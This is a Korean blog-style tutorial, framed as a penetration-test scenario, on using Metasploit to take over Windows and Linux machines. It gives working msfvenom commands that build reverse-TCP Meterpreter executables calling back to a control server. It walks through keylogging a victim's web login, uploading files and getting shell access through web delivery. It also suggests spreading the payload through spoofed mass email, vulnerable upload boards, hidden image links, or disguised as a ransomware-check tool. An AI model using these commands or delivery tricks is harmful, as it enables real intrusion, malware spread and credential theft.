악성코드란 PC나 서버를 다운 시키거나 중요파일을 삭제, 탈취하는 등 악의적인 목적을 수행하기위해 개발된 실행 가능한 코드를 통칭하는 프로그램입니다. 악성코드는 자기 복제 능력과 감염대상 유무에 따라 웜, 바이러스, 트로이목마 등으로 분류됩니다.
모의 해킹 시나리오
metasploit framework 를 활용한 공격 대상 서버(pc) 권한 획득 및 원격 제어 하기
1) msfvenom (expolit 코드를 생성하는 오픈소스) 활용 -> payload 생성 (예: 악성코드.exe)
2) 공격 대상 PC or Server / 1번에서 생성된 파일 배포 (악성 코드 파일 설치)
3) msfconsole 활용 -> 감염 대상 컨트롤 (장악)
첫째, payload 공격 코드 생성 아래는 sample
* 윈도우 7 , 윈도우 10 64bit 환경 PC 대상 payload 코드 생성
msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xx -f exe > program.exe (32bit 기준)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.71.130 LPORT=5555 -f exe > filename.exe (64 bit 기준)
IP : msfconsole 프로그램이 동작하는 서버 IP (즉, PC에서 오는 reverse_tcp 패킷을 Listening 하는 서버)
-p : 는 payload 종류 선택
-f : 파일 형식 (다양한 종류 지원)
LPORT : listening port
LHOST : 악성코드가 설치된 PC를 컨트롤하는 서버 즉, msfconsole 실행 서버
음 여기서 , payload 공격 코드를 생성하여 파일 형태(예 .exe)로 만들어 공격 대상 PC등에 배포 하면
대상 PC에 백신 프로그램(알약,바이로봇,네이버백신 등등)이 설치 되어 있다면 위와 같은 payload 코드를 포함하면
Trojan 형태로 분류되어 차단 및 삭제 됨
백신 우회 기법은 여기서 설명 하지 않기로 하겠습니다. (조금만 노력을 기울이면 쉽게 할수 있음 ^^)
둘째, payload 코드가 담긴 파일 배포
이 부분도 생략하기로
존재하지 않는 계정으로(from) 불특정 다수에게 메일 첨부파일 형태로 배포
취약점이 존재하는 게시판에 파일 업로드
특정 url 링크 걸어서 이미지 파일에 숨겨 놓기
뭐 다양한 방식으로 배포 가능 (해킹하는건 트릭~ 즉 속이는 거죵 ^^)
아니면 아래와 같이 직접 속이기
요즘 핫 이슈인 랜섬웨어 감염 여부 검사 툴이라고 직접 보내서 클릭하게
(당근 아래 파일은 백신에서 체크되지 않음)
셋째, msfconsole 로 감염 대상 제어 하기
* 키로깅 정보 탈취
여기서 control (msfconsole ) 서버는 192.168.71.130 / 감염 PC IP 는 192.168.71.131
5555 port 로 reverse_tcp 패킷 유입
– .131 과 session 이 연결된것을 확인
– ps 명령으로 권환 획득한것 확인 (감염 PC 프로세스 정보 보기)
– explorer PID 를 migrate
– 키로그 스캔 명령어로 스캔 및 덤프
결과 : 감염 PC에서 사용자가 cmd -> 작업관리자 -> iexplorer -> 네이버 접속 -> id / pw 입력 한 결과가 그대로 전송됨
* 파일 업로드
– 명령어는 upload filename
– lsns 라는 임의에 파일을 감염 PC에 업로드
– 감염 PC에서 확인해보면 컨트롤 서버(.71.130 )로 5555 포트로 연결된 것을 확인 할수 있음
넷째, 다른 payload 방식으로 (web delivery) 리눅스 서버 권한 획득하기
아래 payload 코드를 사용
누락된 부분 추가 set LPORT 7788 (listening Port)
exploit 하면 아래 처럼 code 가 생성 된다.
아래 code를 어떤 형태로든 공격 대상 서버에 배포 하고
공격 대상 (감염 대상) 서버에서 위 코드를 실행
msfconsole <-> 감염서버 가 7788 port 로 연결된것을 확인 할수 있음
metasploit 프레임 워크 데몬에 의해 연결 된 것을 확인
msfconsole 에서 session 을 확인 하면 코드가 심어진 공격 대상과 연결된것을 확인 할수 있습니다.
세션 id가 1번 이며 1번 세션으로 접속하여 명령(cat)을 내리면 공격 대상(감염된 리눅스 서버) 서버의 모든 권한을 획득.
간단하게 파일 업로드 결과
aaa.test 파일을 감염 서버 /etc/ 디렉토리에 업로드.
감염된 서버 에서 파일 업로드 된것 확인.